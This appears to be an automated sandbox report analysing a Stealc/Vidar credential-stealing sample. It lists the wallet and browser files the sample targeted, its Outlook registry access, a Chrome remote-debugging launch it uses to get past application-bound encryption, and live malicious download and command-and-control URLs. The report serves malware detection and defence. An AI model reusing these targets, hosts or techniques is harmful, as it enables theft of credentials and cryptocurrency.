Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4328, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2667428725.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2873995638.0000000000F11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2873497903.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2995420313.0000000000F11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2832941948.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2955119409.0000000005860000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2114623757.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2667072868.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8a46fa4b5e.exe PID: 8808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8a46fa4b5e.exe PID: 7332, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4328, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/freebl3.dllF	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll.	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllH	100%	Avira URL Cloud	malware
https://edgeassetservice.azure	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php727001	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/pwL	100%	Avira URL Cloud	malware
http://185.215.113.2067	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/sqlite3.dllIj	100%	Avira URL Cloud	malware
http://185.215.113.206Q	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpM	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php725001	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0l	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpN	100%	Avira URL Cloud	malware
http://185.215.113.206ngineer	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllJ	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpY	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe1395d7f	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php.	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncodedE	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpZ	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/j	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpI	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncoded8	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpf	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpH	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpi	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mira-tmc.tm-4.office.com	52.123.243.216	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.185.174	true	false	high
play.google.com	142.250.185.174	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.27	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.196	true	false	high
googlehosted.l.googleusercontent.com	142.250.184.225	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731404254772&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731404255471&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731404254776&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b?rn=1731404251590&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=34DD94F9EF376C2E059581CCEEC66D3A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://c.msn.com/c.gif?rnd=1731404251589&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a019179ec43e4776a80ea6b80a7b119a&activityId=a019179ec43e4776a80ea6b80a7b119a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=22CC02CED9344791A56F8517134BB5F7&MUID=34DD94F9EF376C2E059581CCEEC66D3A	false	high
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	high
https://c.msn.com/c.gif?rnd=1731404251589&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a019179ec43e4776a80ea6b80a7b119a&activityId=a019179ec43e4776a80ea6b80a7b119a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	false		high
https://edgeassetservice.azure	000003.ldb.9.dr	false	Avira URL Cloud: safe	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	false		high
http://www.broofa.com	chromecache_460.5.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllF	file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log9.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllH	file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll.	file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_462.5.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json0.9.dr	false		high
https://mail.google.com	000003.ldb.9.dr	false		high
http://185.215.113.206Q	8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	000003.ldb.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php727001	skotes.exe, 00000019.00000003.3728547029.0000000001616000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.0000000001616000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.0000000001616000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	000003.ldb.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllIj	file.exe, 00000000.00000002.2667072868.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/pwL	8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://185.215.113.2067	8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	false		high
